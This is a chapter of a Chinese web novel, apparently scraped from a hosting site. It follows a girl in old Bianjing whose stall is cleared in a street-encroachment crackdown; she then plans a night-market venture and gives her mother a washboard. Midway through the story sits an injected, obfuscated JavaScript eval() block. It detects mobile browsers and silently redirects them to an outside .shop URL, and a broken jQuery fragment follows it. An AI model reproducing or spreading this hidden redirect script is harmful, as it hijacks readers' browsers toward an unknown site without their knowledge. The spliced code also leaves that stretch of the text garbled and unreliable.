文趣网 > 都市小说 > 汴京摆摊,怎么就爆火了? > 15. 搓衣板一
    付宁回家前,带着付安去了一趟胡家木匠铺。

    再出来时,满脑袋都是杨木、柳木、榆木,各种木,大大的眼睛里装着大大的懵登。

    她上辈子只知道实木、复合、强化木,唯一能接触到木材的机会就是买木筷子,还因为担心黄曲霉素,全都换成了铁筷子和一次性竹筷子。

    突然接触到这些,她又被迫体验了一把木匠学徒的滋味,出门只觉满脑空空。

    她拽着同样昏头转向的付安走到家门口,一推开门,就见付守川正抱着梯子朝东厢房走。见她回来了,高兴地冲她招招手:“阿满回来的正是时候,来帮爹扶梯子。”

    “哎!”

    付守川手里拿着木棍和木盆,站在梯子上朝棚顶捅来捅去,不一会儿,盆里就多出了一团沤烂的稻草。

    付宁掐住鼻子,嫌弃道:“唔,好臭呀!”

    付守川面不改色地掏着棚顶,似鼻子失灵了:“也不知道在上头沤了多久,当然臭了!还好发现得及时,否则半边屋顶都要重新搭。”

    他当年也是在粪号旁的号舍里熬过几场的人,自然不惧这点子臭味,其中经历自是不必与付宁细说。

    他撸起袖子,用那截常年不见日头的小臂发力,使劲刮着棚顶淤积的污泥。小臂不时挨到脸边,一处白得发光,一处晒得黑黄,乍一看,仿佛长在了两个人身上。

    付宁看他熟练地在梯子上爬上爬下,拿着扎好的稻草将洞塞得密实,又用一坨软泥糊上棚顶,忽然冒出一句:“爹,以后我给你们买个大房子!”

    付守川下梯子的脚步一顿,对上她认真的小脸,心里顿时软得一塌糊涂,只当女儿是心疼他这个老父亲。他腾出一只手,想揉揉她的发包,却被她迅速闪开。

    “哼,你还嫌弃上了!行!爹等着你给买大屋子!”

    付守川没当回事。

    汴京乃天子脚下,寸土寸金,别说大屋子了,哪怕只是一间茅屋土房,也是旁人求不来的。要不是白月娘有间陪嫁屋子,他们一家定然住不起汴京城,也得像他爹娘一样往乡下跑。

    再说了,如今他与白月娘夫妻二人辛苦操持十多年,也只勉强攒出了阿满的嫁妆,这都没敢说换房子呢!阿满哪怕再能挣钱,想在汴京买间房子,只怕也要十几年才成。

    不同于付守川听过就忘,付宁说这话时格外认真。

    家里这样逼仄,冬冷夏热是这房子的标配。

    虽然她和阿圆住在里间,洗漱换衣到底多有不便。

    更别提两个屋子直隔着一扇木门,晚上没少听到俩人讲话,虽说能得到不少“内幕”消息,可她真没有偷听别人说情话的癖好!

    何况,这些日子里,付守川,白月娘和阿圆,补上了她上辈子一直缺失的那份亲情。那些她曾经想为父母做、却始终没能做到的事情,好似重新有了做的机会。

    既然泡泡水能挣钱,没道理以后她就挣不了别的钱!

    她站在梯子下思考,付守川也没管她,自顾自地将最后一处软泥抹平,又爬上爬下检查了两遍,确定再没有漏缝,才满意地从梯子上下来。

    付宁帮着他收拾地上的烂稻草,付安则抱着小扫帚,跟在两人屁股后头扫来扫去。只是她扫一下漏两下,忙活半天,地上反倒比原先更乱了。

    一家三口谁也没提今日卖泡泡水的事。

    没到傍晚,白月娘就提着装衣裳的竹篮,喜气洋洋地推门进来。

    她今日运气好,除了原先说定的活计,又替人多洗了几件衣裳,足足多挣了五文钱。那五枚铜钱被她一路攥到家门口,脸上的笑意就没落下去过。

    谁知一进门,竟见家里三个人整整齐齐,一个不少。

    白月娘脚步一顿,疑惑道:“你们怎么都在家呢?”

    她说着又退到门外,仰头看了看天。

    日头还高高挂着,巷子里也亮堂堂的。

    没错啊,今日分明还早着呢。

    她揉了揉眼睛,犹疑半天才问:“是我看错了不?咋今日都回来得这样早?我瞧着有人家里都热灶生饭了!”

    付守川语气平和:“今日外头查侵街,我被赶回来了。”

    他倒霉惯了,前些日子挣了不少钱,他还觉得心里不踏实。如今倒是踏实了。

    付宁在旁补充:“我也一样,摊子也被掀了。”

    “还是个可美可美的大人掀的。”一直惦记着美人的付安补充道。

    三人三句话,直接把白月娘钉在当场。她语无伦次道:“那啥?侵街?侵啥街?掀摊?那再美也不能掀摊啊!”

    付宁深以为然地点头,并对沉迷美色的付安投以鄙视的目光。

    小叛徒,长得再好看,还能有她的钱重要了?!

    付守川与妻女解释道:“上月便有了些风声,只是咱家近来事情多,没顾得上仔细打听。如今朝廷下了令,叫街道司会同两县衙役,严查侵街占道之事,这才闹出了今日这一遭。”

    他顿了顿,又道:“不过这道令原本也不是冲着咱们这些挑担摆摊的小民来的。你们想,若只为撵走几个摊贩,何必惊动朝廷,连街道司和衙役都一并使出来?听说这回真正盯着的是内城那些铺面,他们在门前搭棚建屋,一年一年往外扩,连路都占去了大半。”

    “只是上头既然下了令,底下办事的人便不敢马虎。真查起来,谁还会管你是搭了一间屋子,还是只在路边摆了张小案?这几日风头正紧,街上必然查得严,咱们还是先避一避,别赶在这时候去触他们的霉头。”

    白月娘胡乱点头,忧心忡忡地盯着付宁,生怕她因此事一蹶不振。

    付宁见她这样,以为她担心是安全,忙对她道:“我没事,掀摊子的时候恰巧避开了,没伤着。”

    怕她不信,还起身转了一圈。

    白月娘支支吾吾地问出心中担忧:“那生意.....”

    付宁不以为意:“咱们这泡泡水不是已经有人仿了吗?本就想着卖完这一批便歇一歇,如今只是提早了两日,不碍事的。”

    又道:“再说,没了它,我就不能想出别的法子了?”

    这句话倒是将白月娘问住了。

    她能吗?

    她还真能!

    泡泡水不就是阿满想出的法子吗?她不光想得出来,还敢干,且真能挣到钱!一时间,她连阻止的话都说不出来。

    说啥?让她别折腾了?晒得比巷中小子还黑,这么辛苦干啥?就该在家捂白,以后才好说人家。

    可她能挣钱呀!

    说让她别日夜琢磨,爹娘也能照顾好她,不必她劳心劳神?

    可她挣得都比自己多多啦!

    至于万一赔了——啊呸!

    丧气话可不兴说,她家阿满才不会赔呢!

    当娘的心疼孩子累,却又打心眼里纵着孩子。支吾半天,她才问:“那现在都不让摆摊,这可咋办?”

    付守川插嘴道:“不是不让摆摊,是不让侵街。原来那些地儿都挨着屋舍,占的是人家门前的地方,那些地方如今不让摆了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891723|212768||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    白月娘白了他一眼。

    她能不知道?这不是想找个由头,让阿满歇歇吗?

    付宁若有所思,随即双掌一合:“爹说得对!咱们就该去让摆摊的地方摆!”

    “还摆泡泡水?”

    付宁摇头。

    泡泡水可不是夜里该卖的!

    她这回盯上的,是汴京的夜市。

    论起来,汴京的夜市比白日还要热闹几分。

    因着城中不设宵禁,夜里也可随意出门,商户自然不必赶在日落前闭门。每到掌灯时分,州桥、马行街一带便灯火相连,酒楼茶坊迎来送往,街边卖吃食、饮子和各色玩物的小摊更是一个挨着一个。

    这些夜市里本就有官府划出来许人摆摊的地方,只要按规矩缴钱领位,便不算侵街。只是好位置有限,想在里头做生意,还得提前去探查一番。

    之前因着卖的是泡泡水,她倒是从没想过夜市。

    大晚上的,谁能看清泡泡飘到哪儿去了?

    如今倒正是个好机会。

    一连几日,付宁不是去胡家木匠铺,就是拉着爹娘其中一人满城跑,各处夜市都要走走看看。

    只剩下付安一个人没去过夜市,只能气鼓鼓地睡觉。

    谁让小孩子不睡觉,长不高呢?

    其间付守川二人也问过她,到底去胡家木匠铺做什么,她却神神秘秘地不肯说,只让二人再等等。

    日子飞快地过,转眼便到了七月初一。

    汴京的大街小巷已俱是张灯结彩,为六日后的七月七做起了准备。

    每逢七夕,瓜果摊都会特地将瓜雕成各式新奇模样,称作花瓜。也会有人将豆麦浸出嫩芽,再用彩线扎起,称作种生。花贩们会准备荷花、荷叶,以及假作的双头莲,取个好意头。制蜡人则会用黄蜡制成鸳鸯、鱼龟等“水上浮”的奇巧玩意。街上更少不了花灯、磨喝乐、笔砚、针线等各样乞巧要用的物什。

    一到这时,各家商铺便会格外忙碌。小娘子和儿童都要换上鲜亮衣裳出门,就连寻常百姓也要将压在箱底的好衣裳翻出来浆洗干净。送到洗衣铺的衣物一下多了起来,连带着白月娘也跟着忙了。

    她如今的活计是做浆洗娘子,专为那些请不起家仆的小官、小商人家浆洗衣物。

    这活自是辛苦疲累,却比她缝补编花挣得更多,因此愿意干的人并不在少数。

    她所在的洗衣铺在城东,也算得上数一数二的大商铺,里面不少洗衣女工都曾替大户人家浆洗过衣物。

    她能被选上,还是因着付守川是个读书人,掌柜的不怕她洗坏衣服后赔不起,这才肯收她。她干活利落细致,这些年倒也做得不错。

    这日一大早,付宁便拦住了她:“娘,我有东西给你。”

    白月娘瞧着递到手里的木板,不解地看向付宁。

    付宁又从身后拿出付守川的一件旧短褐,当着白月娘的面放在搓衣板上,双手向下搓了两下:“娘,这是我在胡伯伯那里定的搓衣板,你今日洗衣时试试看!”

    “这能干什么用?”

    “自是能将衣物洗得又快又干净!”

    因着不了解白月娘平日洗的都是些什么衣物,付宁不忘嘱咐:“娘,你把爹这件旧衣也带上,到了铺子里先拿它试手。将皂角涂上去以后,手上也轻些,若是薄绢细纱,可千万别往上搓......”

    白月娘就在付宁的声声讲解下,一手抱着这块一面凹凸不平的古怪木板,一手提着付守川的旧衣出了门。